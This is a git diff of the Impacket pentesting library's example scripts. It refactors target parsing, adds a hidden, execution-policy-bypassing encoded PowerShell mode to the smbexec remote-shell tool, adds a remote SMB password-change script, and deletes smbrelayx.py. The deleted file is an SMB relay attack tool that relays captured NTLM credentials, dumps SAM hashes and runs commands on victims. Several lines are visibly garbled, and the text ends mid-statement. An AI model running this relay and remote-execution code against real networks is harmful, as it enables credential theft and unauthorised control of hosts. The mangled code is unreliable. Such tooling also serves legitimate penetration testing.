logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - import re - - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] - - if domain is None: - domain = '' - - if options.target_ip is None: - options.target_ip = remoteName - - if options.aesKey is not None: - options.k = True - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - password = getpass("Password:") - - services = SVCCTL(username, password, domain, options, int(options.port)) - try: - services.run(remoteName, options.target_ip) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(str(e)) diff --git a/examples/smbclient.py b/examples/smbclient.py index cbb75fd6be..6e2b9d4df1 100755 --- a/examples/smbclient.py +++ b/examples/smbclient.py @@ -1,25 +1,29 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: Mini shell using some of the SMB funcionality of the library +# Description: +# Mini shell using some of the SMB functionality of the library # # Author: -# Alberto Solino (@agsolino) -# +# Alberto Solino (@agsolino) # # Reference for: -# SMB DCE/RPC +# SMB DCE/RPC # + from __future__ import division from __future__ import print_function import sys import logging import argparse from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket.examples.smbclient import MiniImpacketShell from impacket import version from impacket.smbconnection import SMBConnection @@ -69,14 +73,7 @@ def main(): else: logging.getLogger().setLevel(logging.INFO) - import re - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) if options.target_ip is None: options.target_ip = address diff --git a/examples/smbexec.py b/examples/smbexec.py index 595958dd44..03fa6ac791 100755 --- a/examples/smbexec.py +++ b/examples/smbexec.py @@ -1,32 +1,37 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A similar approach to psexec w/o using RemComSvc. The technique is described here -# https://www.optiv.com/blog/owning-computers-without-shell-access -# Our implementation goes one step further, instantiating a local smbserver to receive the -# output of the commands. This is useful in the situation where the target machine does NOT -# have a writeable share available. -# Keep in mind that, although this technique might help avoiding AVs, there are a lot of -# event logs generated and you can't expect executing tasks that will last long since Windows -# will kill the process since it's not responding as a Windows service. -# Certainly not a stealthy way. +# Description: +# A similar approach to psexec w/o using RemComSvc. The technique is described here +# https://www.optiv.com/blog/owning-computers-without-shell-access +# Our implementation goes one step further, instantiating a local smbserver to receive the +# output of the commands. This is useful in the situation where the target machine does NOT +# have a writeable share available. +# Keep in mind that, although this technique might help avoiding AVs, there are a lot of +# event logs generated and you can't expect executing tasks that will last long since Windows +# will kill the process since it's not responding as a Windows service. +# Certainly not a stealthy way. # -# This script works in two ways: -# 1) share mode: you specify a share, and everything is done through that share. -# 2) server mode: if for any reason there's no share available, this script will launch a local -# SMB server, so the output of the commands executed are sent back by the target machine -# into a locally shared folder. Keep in mind you would need root access to bind to port 445 -# in the local machine. +# This script works in two ways: +# 1) share mode: you specify a share, and everything is done through that share. +# 2) server mode: if for any reason there's no share available, this script will launch a local +# SMB server, so the output of the commands executed are sent back by the target machine +# into a locally shared folder. Keep in mind you would need root access to bind to port 445 +# in the local machine. # # Author: -# beto (@agsolino) +# beto (@agsolino) # # Reference for: -# DCE/RPC and SMB. +# DCE/RPC and SMB. +# + from __future__ import division from __future__ import print_function import sys @@ -39,8 +44,10 @@ import configparser as ConfigParser import logging from threading import Thread +from base64 import b64encode from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket import version, smbserver from impacket.dcerpc.v5 import transport, scmr from impacket.krb5.keytab import Keytab @@ -111,8 +118,8 @@ def stop(self): self._Thread__stop() class CMDEXEC: - def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, - doKerberos=None, kdcHost=None, mode=None, share=None, port=445, serviceName=SERVICE_NAME): + def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None, + kdcHost=None, mode=None, share=None, port=445, serviceName=SERVICE_NAME, shell_type=None): self.__username = username self.__password = password @@ -126,6 +133,7 @@ def __init__(self, username='', password='', domain='', hashes=None, aesKey=None self.__kdcHost = kdcHost self.__share = share self.__mode = mode + self.__shell_type = shell_type self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') @@ -148,7 +156,7 @@ def run(self, remoteName, remoteHost): serverThread = SMBServer() serverThread.daemon = True serverThread.start() - self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) + self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__shell_type) self.shell.cmdloop() if self.__mode == 'SERVER': serverThread.stop() @@ -163,7 +171,7 @@ def run(self, remoteName, remoteHost): sys.exit(1) class RemoteShell(cmd.Cmd): - def __init__(self, share, rpc, mode, serviceName): + def __init__(self, share, rpc, mode, serviceName, shell_type): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode @@ -172,6 +180,8 @@ def __init__(self, share, rpc, mode, serviceName): self.__outputBuffer = b'' self.__command = '' self.__shell = '%COMSPEC% /Q /c ' + self.__shell_type = shell_type + self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' self.__serviceName = serviceName self.__rpc = rpc self.intro = '[!] Launching semi-interactive shell - Careful what you execute' @@ -219,6 +229,10 @@ def do_shell(self, s): def do_exit(self, s): return True + def do_EOF(self, s): + print() + return self.do_exit(s) + def emptyline(self): return False @@ -231,6 +245,8 @@ def do_cd(self, s): if len(self.__outputBuffer) > 0: # Stripping CR/LF self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>' + if self.__shell_type == 'powershell': + self.prompt = 'PS ' + self.prompt + ' ' self.__outputBuffer = b'' def do_CD(self, s): @@ -253,9 +269,14 @@ def output_callback(data): fd.close() os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) - def execute_remote(self, data): + def execute_remote(self, data, shell_type='cmd'): + if shell_type == 'powershell': + data = '$ProgressPreference="SilentlyContinue";' + data + data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() + command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile + if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile @@ -274,7 +295,7 @@ def execute_remote(self, data): self.get_output() def send_data(self, data): - self.execute_remote(data) + self.execute_remote(data, self.__shell_type) try: print(self.__outputBuffer.decode(CODEC)) except UnicodeDecodeError: @@ -303,6 +324,8 @@ def send_data(self, data): 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py ' 'again with -codec and the corresponding codec ' % CODEC) + parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose ' + 'a command processor for the semi-interactive shell') group = parser.add_argument_group('connection') @@ -350,13 +373,7 @@ def send_data(self, data): else: logging.getLogger().setLevel(logging.INFO) - import re - domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') - - #In case the password contains '@' - if '@' in remoteName: - password = password + '@' + remoteName.rpartition('@')[0] - remoteName = remoteName.rpartition('@')[2] + domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' @@ -376,8 +393,8 @@ def send_data(self, data): options.k = True try: - executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, - options.dc_ip, options.mode, options.share, int(options.port), options.service_name) + executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, + options.mode, options.share, int(options.port), options.service_name, options.shell_type) executer.run(remoteName, options.target_ip) except Exception as e: if logging.getLogger().level == logging.DEBUG: diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py new file mode 100755 index 0000000000..351474da53 --- /dev/null +++ b/examples/smbpasswd.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script is an alternative to smbpasswd tool and intended to be used +# for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the +# password change when the current password is expired, and supports NTLM +# hashes as a new password value instead of a plaintext value. As for the +# latter approach the new password is flagged as expired after the change +# due to how SamrChangePasswordUser function works. +# +# Examples: +# smbpasswd.py j.doe@192.168.1.11 +# smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889 +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' +# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb +# +# Author: +# @snovvcrash +# @bransh +# +# References: +# https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html +# https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c +# https://github.com/SecureAuthCorp/impacket/pull/381 +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476 +# + +import sys +import logging +from getpass import getpass +from argparse import ArgumentParser + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.dcerpc.v5 import transport, samr + + +class SMBPasswd: + + def __init__(self, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, hostname): + self.domain = domain + self.username = username + self.oldPassword = oldPassword + self.newPassword = newPassword + self.oldPwdHashLM = oldPwdHashLM + self.oldPwdHashNT = oldPwdHashNT + self.newPwdHashLM = newPwdHashLM + self.newPwdHashNT = newPwdHashNT + self.hostname = hostname + self.dce = None + + def connect(self, anonymous=False): + rpctransport = transport.SMBTransport(self.hostname, filename=r'\samr') + if anonymous: + rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') + else: + rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='') + + self.dce = rpctransport.get_dce_rpc() + self.dce.connect() + self.dce.bind(samr.MSRPC_UUID_SAMR) + + def hSamrUnicodeChangePasswordUser2(self): + try: + resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT) + except Exception as e: + if 'STATUS_PASSWORD_RESTRICTION' in str(e): + logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.') + else: + raise e + else: + if resp['ErrorCode'] == 0: + logging.info('Password was changed successfully.') + else: + logging.error('Non-zero return code, something weird happened.') + resp.dump() + + def hSamrChangePasswordUser(self): + serverHandle = samr.hSamrConnect(self.dce, self.hostname + '\x00')['ServerHandle'] + domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId'] + domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle'] + userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0] + userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle'] + + try: + resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT, + newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT) + except Exception as e: + if 'STATUS_PASSWORD_RESTRICTION' in str(e): + logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.') + else: + raise e + else: + if resp['ErrorCode'] == 0: + logging.info('NTLM hashes were changed successfully.') + else: + logging.error('Non-zero return code, something weird happened.') + resp.dump() + + +def init_logger(options): + logger.init(options.ts) + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + +def parse_args(): + parser = ArgumentParser(description='Change password over SMB.') + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON') + group = parser.add_mutually_exclusive_group() + group.add_argument('-newpass', action='store', default=None, help='new SMB password') + group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH ' + '(the user will be asked to change their password at next logon)') + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') + + return parser.parse_args() + + +if __name__ == '__main__': + print(version.BANNER) + + options = parse_args() + init_logger(options) + + domain, username, oldPassword, address = parse_target(options.target) + + if domain is None: + domain = 'Builtin' + + if options.hashes is not None: + try: + oldPwdHashLM, oldPwdHashNT = options.hashes.split(':') + except ValueError: + logging.critical('Wrong hashes string format. For more information run with --help option.') + sys.exit(1) + else: + oldPwdHashLM = '' + oldPwdHashNT = '' + + if oldPassword == '' and oldPwdHashNT == '': + oldPassword = getpass('Current SMB password: ') + + if options.newhashes is not None: + try: + newPwdHashLM, newPwdHashNT = options.newhashes.split(':') + except ValueError: + logging.critical('Wrong new hashes string format. For more information run with --help option.') + sys.exit(1) + newPassword = '' + else: + newPwdHashLM = '' + newPwdHashNT = '' + if options.newpass is None: + newPassword = getpass('New SMB password: ') + if newPassword != getpass('Retype new SMB password: '): + logging.critical('Passwords do not match, try again.') + sys.exit(1) + else: + newPassword = options.newpass + + smbpasswd = SMBPasswd(domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, address) + + try: + smbpasswd.connect() + except Exception as e: + if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']): + if newPassword: + logging.warning('Password is expired, trying to bind with a null session.') + smbpasswd.connect(anonymous=True) + else: + logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.') + sys.exit(1) + elif 'STATUS_LOGON_FAILURE' in str(e): + logging.critical('Authentication failure.') + sys.exit(1) + else: + raise e + + if newPassword: + # If using a plaintext value for the new password + smbpasswd.hSamrUnicodeChangePasswordUser2() + else: + # If using NTLM hashes for the new password + smbpasswd.hSamrChangePasswordUser() diff --git a/examples/smbrelayx.py b/examples/smbrelayx.py deleted file mode 100755 index 229c690f7b..0000000000 --- a/examples/smbrelayx.py +++ /dev/null @@ -1,1219 +0,0 @@ -#!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# SMB Relay Module -# -# Author: -# Alberto Solino (@agsolino) -# -# Description: -# This module performs the SMB Relay attacks originally discovered -# by cDc. It receives a list of targets and for every connection received it -# will choose the next target and try to relay the credentials. Also, if -# specified, it will first to try authenticate against the client connecting -# to us. -# -# It is implemented by invoking a SMB and HTTP Server, hooking to a few -# functions and then using the smbclient portion. It is supposed to be -# working on any LM Compatibility level. The only way to stop this attack -# is to enforce on the server SPN checks and or signing. -# -# If the target system is enforcing signing and a machine account was provided, -# the module will try to gather the SMB session key through -# NETLOGON (CVE-2015-0005) -# -# If the authentication against the targets succeed, the client authentication -# success as well and a valid connection is set against the local smbserver. -# It's up to the user to set up the local smbserver functionality. One option -# is to set up shares with whatever files you want to the victim thinks it's -# connected to a valid SMB server. All that is done through the smb.conf file or -# programmatically. -# -from __future__ import division -from __future__ import print_function -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser -import http.server -import socketserver -import argparse -import base64 -import logging -import os -import sys -try: - from urllib.parse import urlparse -except ImportError: - from urlparse import urlparse -from binascii import unhexlify, hexlify -from struct import pack, unpack -from threading import Thread -from six import PY2 - -from impacket import version -from impacket.dcerpc.v5 import nrpc -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5.ndr import NULL -from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.examples import logger -from impacket.examples import serviceinstall -from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS -from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient -from impacket.nt_errors import ERROR_MESSAGES -from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ - STATUS_MORE_PROCESSING_REQUIRED -from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ - NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey -from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ - SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ - SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ - SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data -from impacket.smb3 import SMB3 -from impacket.smbconnection import SMBConnection -from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER -from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit - -try: - from Cryptodome.Cipher import DES, AES, ARC4 -except Exception: - logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex") - logging.critical("See https://pypi.org/project/pycryptodomex/") - -# Global Variables -# This is the list of hosts that have been attacked already in case -one-shot was chosen -ATTACKED_HOSTS = set() -CODEC = sys.getdefaultencoding() - -class doAttack(Thread): - def __init__(self, SMBClient, exeFile, command): - Thread.__init__(self) - - if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): - self.__SMBConnection = SMBConnection(existingConnection = SMBClient) - else: - self.__SMBConnection = SMBClient - - self.__exeFile = exeFile - self.__command = command - self.__answerTMP = b'' - if exeFile is not None: - self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) - - def __answer(self, data): - self.__answerTMP += data - - def run(self): - # Here PUT YOUR CODE! - global ATTACKED_HOSTS - if self.__exeFile is not None: - result = self.installService.install() - if result is True: - logging.info("Service Installed.. CONNECT!") - self.installService.uninstall() - else: - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes - samHashes = None - try: - # We have to add some flags just in case the original client did not - # Why? needed for avoiding INVALID_PARAMETER - flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() - flags2 |= SMB.FLAGS2_LONG_NAMES - self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) - - remoteOps = RemoteOperations(self.__SMBConnection, False) - remoteOps.enableRegistry() - except Exception as e: - logging.debug('Exception:', exc_info=True) - # Something wen't wrong, most probably we don't have access as admin. aborting - logging.error(str(e)) - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - return - - try: - if self.__command is not None: - remoteOps._RemoteOperations__executeRemote(self.__command) - logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) - self.__answerTMP = b'' - self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) - logging.debug('Raw answer %r' % self.__answerTMP) - - try: - print(self.__answerTMP.decode(CODEC)) - except UnicodeDecodeError: - logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbrelayx.py ' - 'again with -codec and the corresponding codec') - print(self.__answerTMP) - - self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') - else: - bootKey = remoteOps.getBootKey() - remoteOps._RemoteOperations__serviceDeleted = True - samFileName = remoteOps.saveSAM() - samHashes = SAMHashes(samFileName, bootKey, isRemote = True) - samHashes.dump() - logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) - except Exception as e: - logging.debug('Exception:', exc_info=True) - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - logging.error(str(e)) - finally: - if samHashes is not None: - samHashes.finish() - if remoteOps is not None: - remoteOps.finish() - try: - ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) - except Exception as e: - logging.error(str(e)) - pass - - -class SMBClient(SMB): - def __init__(self, remote_name, extended_security = True, sess_port = 445): - self._extendedSecurity = extended_security - self.domainIp = None - self.machineAccount = None - self.machineHashes = None - - SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) - - def neg_session(self): - neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) - return neg_sess - - def setUid(self,uid): - self._uid = uid - - def login_standard(self, user, domain, ansiPwd, unicodePwd): - smb = NewSMBPacket() - smb['Flags1'] = 8 - - sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) - sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() - sessionSetup['Data'] = SMBSessionSetupAndX_Data() - - sessionSetup['Parameters']['MaxBuffer'] = 65535 - sessionSetup['Parameters']['MaxMpxCount'] = 2 - sessionSetup['Parameters']['VCNumber'] = os.getpid() - sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] - sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) - sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) - sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE - - sessionSetup['Data']['AnsiPwd'] = ansiPwd - sessionSetup['Data']['UnicodePwd'] = unicodePwd - sessionSetup['Data']['Account'] = user - sessionSetup['Data']['PrimaryDomain'] = domain - sessionSetup['Data']['NativeOS'] = 'Unix' - sessionSetup['Data']['NativeLanMan'] = 'Samba' - - smb.addCommand(sessionSetup) - - self.sendSMB(smb) - smb = self.recvSMB() - try: - smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) - except: - logging.error("Error login_standard") - return None, STATUS_LOGON_FAILURE - else: - self._uid = smb['Uid'] - return smb, STATUS_SUCCESS - - def setDomainAccount( self, machineAccount, machineHashes, domainIp): - self.machineAccount = machineAccount - self.machineHashes = machineHashes - self.domainIp = domainIp - if self._SignatureRequired is True: - if self.domainIp is None: - logging.error("Signature is REQUIRED on the other end, attack will not work") - else: - logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") - - - def netlogonSessionKey(self, challenge, authenticateMessageBlob): - # Here we will use netlogon to get the signing session key - logging.info("Connecting to %s NETLOGON service" % self.domainIp) - - respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) - authenticateMessage = NTLMAuthChallengeResponse() - authenticateMessage.fromString(respToken2['ResponseToken'] ) - _, machineAccount = self.machineAccount.split('/') - domainName = authenticateMessage['domain_name'].decode('utf-16le') - - try: - av_pairs = authenticateMessage['ntlm'][44:] - av_pairs = AV_PAIRS(av_pairs) - - serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') - except: - logging.debug("Exception:", exc_info=True) - # We're in NTLMv1, not supported - return STATUS_ACCESS_DENIED - - stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp - - rpctransport = transport.DCERPCTransportFactory(stringBinding) - - if len(self.machineHashes) > 0: - lmhash, nthash = self.machineHashes.split(':') - else: - lmhash = '' - nthash = '' - - if hasattr(rpctransport, 'set_credentials'): - # This method exists only for selected protocol sequences. - rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) - - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(nrpc.MSRPC_UUID_NRPC) - resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') - - serverChallenge = resp['ServerChallenge'] - - if self.machineHashes == '': - ntHash = None - else: - ntHash = unhexlify(self.machineHashes.split(':')[1]) - - sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) - - ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) - - nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', - ppp, 0x600FFFFF) - - clientStoredCredential = pack('=0 or message.find('RPC_IN'): - return self.do_GET() - return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) - - def do_GET(self): - messageType = 0 - if PY2: - authorizationHeader = self.headers.getheader('Authorization') - else: - authorizationHeader = self.headers.get('Authorization') - - if authorizationHeader is None: - self.do_AUTHHEAD(message = b'NTLM') - pass - else: - #self.do_AUTHHEAD() - typeX = authorizationHeader - try: - _, blob = typeX.split('NTLM') - token = base64.b64decode(blob.strip()) - except: - self.do_AUTHHEAD() - messageType = unpack('> 16 - packet['ErrorClass'] = errorCode & 0xff - - return None, [packet], STATUS_NOT_SUPPORTED - else: - logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) - - try: - if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: - extSec = False - else: - if self.mode.upper() == 'REFLECTION': - # Force standard security when doing reflection - logging.info("Downgrading to standard security") - extSec = False - recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) - else: - extSec = True - client = SMBClient(self.target, extended_security = extSec) - client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) - client.set_timeout(60) - except Exception as e: - logging.error("Connection against target %s FAILED" % self.target) - logging.error(str(e)) - else: - encryptionKey = client.get_encryption_key() - smbData[self.target] = {} - smbData[self.target]['SMBClient'] = client - if encryptionKey is not None: - connData['EncryptionKey'] = encryptionKey - smbServer.setConnectionData('SMBRelay', smbData) - smbServer.setConnectionData(connId, connData) - return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) - ############################################################# - - def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): - - connData = smbServer.getConnectionData(connId, checkStatus = False) - ############################################################# - # SMBRelay - smbData = smbServer.getConnectionData('SMBRelay', False) - ############################################################# - - respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) - global ATTACKED_HOSTS - - if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: - # Extended security. Here we deal with all SPNEGO stuff - respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() - respData = SMBSessionSetupAndX_Extended_Response_Data() - sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) - sessionSetupData = SMBSessionSetupAndX_Extended_Data() - sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] - sessionSetupData.fromString(smbCommand['Data']) - connData['Capabilities'] = sessionSetupParameters['Capabilities'] - - if unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: - # If there no GSSAPI ID, it must be an AUTH packet - blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) - token = blob['ResponseToken'] - else: - # NEGOTIATE packet - blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) - token = blob['MechToken'] - - # Here we only handle NTLMSSP, depending on what stage of the - # authentication we are, we act on it - messageType = unpack('> 16 - packet['ErrorClass'] = errorCode & 0xff - - return None, [packet], STATUS_NOT_SUPPORTED - - # It might happen if the target connects back before a previous connection has finished, we might - # get to this function w/o having the dict and smbClient entry created, because a - # NEGOTIATE_CONNECTION was not needed - if (self.target in smbData) is False: - smbData[self.target] = {} - smbClient = SMBClient(self.target) - smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) - smbClient.set_timeout(60) - smbData[self.target]['SMBClient'] = smbClient - - smbClient = smbData[self.target]['SMBClient'] - clientChallengeMessage = smbClient.sendNegotiate(token) - challengeMessage = NTLMAuthChallenge() - challengeMessage.fromString(clientChallengeMessage) - ############################################################# - - respToken = SPNEGO_NegTokenResp() - # accept-incomplete. We want more data - respToken['NegState'] = b'\x01' - respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] - - respToken['ResponseToken'] = challengeMessage.getData() - - # Setting the packet to STATUS_MORE_PROCESSING - errorCode = STATUS_MORE_PROCESSING_REQUIRED - # Let's set up an UID for this connection and store it - # in the connection's data - # Picking a fixed value - # TODO: Manage more UIDs for the same session - connData['Uid'] = 10 - # Let's store it in the connection data - connData['CHALLENGE_MESSAGE'] = challengeMessage - - elif messageType == 0x03: - # AUTHENTICATE_MESSAGE, here we deal with authentication - - ############################################################# - # SMBRelay: Ok, so now the have the Auth token, let's send it - # back to the target system and hope for the best. - smbClient = smbData[self.target]['SMBClient'] - authenticateMessage = NTLMAuthChallengeResponse() - authenticateMessage.fromString(token) - if authenticateMessage['user_name'] != '': - clientResponse, errorCode = 